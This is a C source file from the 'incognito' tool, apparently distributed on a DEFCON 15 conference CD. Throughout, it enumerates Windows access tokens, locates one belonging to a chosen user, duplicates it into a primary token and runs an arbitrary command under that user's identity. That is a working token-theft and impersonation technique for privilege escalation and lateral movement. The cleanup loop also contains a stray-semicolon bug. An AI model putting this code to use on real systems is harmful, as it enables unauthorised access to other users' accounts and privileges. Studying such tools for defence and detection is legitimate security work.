home *** CD-ROM | disk | FTP | other *** search
/ DEFCON 15 / DefCon15.bin / Speakers / Jennings / Extras / incognito / process_execution.c < prev    next >
C/C++ Source or Header  |  2007-03-19  |  5KB  |  160 lines

  1. #define _CRT_SECURE_NO_DEPRECATE 1
  2. #include <stdio.h>
  3. #include <assert.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <aclapi.h>
  7. #include <accctrl.h>
  8. #include <psapi.h>
  9. #include <tlhelp32.h>
  10. #include <lm.h>
  11. #include <wchar.h>
  12. #include "list_tokens.h"
  13. #include "child_process.h"
  14. #include "token_info.h"
  15. #include "handle_arguments.h"
  16.  
  17. void create_process(HANDLE token, char *command, BOOL console_mode, SECURITY_IMPERSONATION_LEVEL impersonation_level);
  18.  
  19.  
  20. void execute_process_with_primary_token(char *requested_username, char *command, BOOL console_mode)
  21. {
  22.     DWORD num_unique_tokens = 0, num_tokens = 0, i;
  23.     unique_user_token *uniq_tokens = calloc(BUF_SIZE, sizeof(unique_user_token));
  24.     SavedToken *token_list = NULL;
  25.     BOOL bTokensAvailable = FALSE, delegation_available = FALSE;
  26.  
  27.     // Enumerate tokens
  28.     output_string("[*] Enumerating tokens\n");
  29.  
  30.     token_list = get_token_list(&num_tokens);
  31.     if (!token_list)
  32.     {
  33.         output_string("[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
  34.         return;
  35.     }
  36.  
  37.     // Process all tokens to get determinue unique names and delegation abilities
  38.     for (i=0;i<num_tokens;i++)
  39.     if (token_list[i].token)
  40.     {
  41.         process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, BY_GROUP);
  42.         process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, BY_USER);
  43.     }
  44.  
  45.     if (num_tokens > 0)
  46.     {
  47.         output_string("[*] Searching for availability of requested token\n");
  48.  
  49.         for (i=0;i<num_unique_tokens;i++)
  50.         {
  51.             if (!_stricmp(uniq_tokens[i].username, requested_username) )//&& uniq_tokens[i].impersonation_available)
  52.             {
  53.                 output_string("[+] Requested token found\n");
  54.  
  55.                 if (uniq_tokens[i].delegation_available)
  56.                     delegation_available = TRUE;
  57.                 if (delegation_available)
  58.                     output_string("[+] Delegation token available\n");
  59.                 else
  60.                     output_string("[-] No Delegation token available\n");
  61.  
  62.                 for (i=0;i<num_tokens;i++)
  63.                 {
  64.                     if (is_token(token_list[i].token, requested_username) )//&& is_impersonation_token(token_list[i].token))
  65.                     {
  66.                         if (delegation_available && is_delegation_token(token_list[i].token))
  67.                         {
  68.                             create_process(token_list[i].token, command, console_mode, SecurityDelegation);
  69.                             goto cleanup;
  70.                         }
  71.                         else 
  72.                         {
  73.                             create_process(token_list[i].token, command, console_mode, SecurityImpersonation);
  74.                             goto cleanup;
  75.                         }
  76.                     }
  77.                 }
  78.             }
  79.  
  80.         }
  81.     }
  82.  
  83.     output_string("[-] Requested token not found\n");
  84.  
  85. cleanup:
  86.     for (i=0;i<num_tokens;i++)
  87.     if (token_list[i].token);
  88.         CloseHandle(token_list[i].token);    
  89.     free(token_list);
  90.     free(uniq_tokens);
  91. }
  92.  
  93. void create_process(HANDLE token, char *command, BOOL console_mode, SECURITY_IMPERSONATION_LEVEL impersonation_level)
  94. {
  95.     STARTUPINFO si;
  96.     PROCESS_INFORMATION pi;
  97.     char window_station[100];
  98.     DWORD length_needed;
  99.     HANDLE new_token, primary_token;
  100.  
  101.     // Create primary token
  102.     if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, impersonation_level, TokenPrimary, &primary_token))
  103.     {
  104.         ImpersonateLoggedOnUser(token);
  105.         OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &new_token);
  106.     
  107.         // Duplicate to make primary token 
  108.         if (!DuplicateTokenEx(new_token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &primary_token))
  109.         {
  110.             output_string("[-] Failed to duplicate token to primary token: %d\n", GetLastError());
  111.             return;
  112.         }
  113.     }
  114.  
  115.     // Create window station if necessary for invisible process
  116.     GetUserObjectInformationA(
  117.         GetProcessWindowStation(),
  118.         UOI_NAME,
  119.         (PVOID) window_station,
  120.         100,
  121.         &length_needed
  122.     );
  123.  
  124.     ZeroMemory(&si, sizeof(STARTUPINFO));
  125.     si.cb= sizeof(STARTUPINFO);
  126.  
  127.     if (!_stricmp(window_station, "WinSta0"))
  128.         si.lpDesktop = "WinSta0\\default";
  129.     else
  130.         si.lpDesktop = window_station;
  131.  
  132.     if (console_mode)
  133.     {
  134.         output_string("[*] Attempting to create new child process and communicate via anonymous pipe\n\n");
  135.         CreateProcessWithPipeComm(primary_token, command);
  136.         output_string("\n[*] Returning from exited process\n");
  137.         return;
  138.     }
  139.     else
  140.     {
  141.         if (CreateProcessAsUserA(
  142.               primary_token,            // client's access token
  143.               NULL,              // file to execute
  144.               command,     // command line
  145.               NULL,              // pointer to process SECURITY_ATTRIBUTES
  146.               NULL,              // pointer to thread SECURITY_ATTRIBUTES
  147.               FALSE,             // handles are not inheritable
  148.               CREATE_NEW_CONSOLE,   // creation flags
  149.               NULL,              // pointer to new environment block
  150.              NULL,              // name of current directory
  151.               &si,               // pointer to STARTUPINFO structure
  152.               &pi                // receives information about new process
  153.            ))
  154.             output_string("[+] Created new process with token successfully\n");
  155.         else 
  156.             output_string("[-] Failed to create new process: %d\n", GetLastError());
  157.     }
  158.  
  159.     CloseHandle(primary_token);
  160. }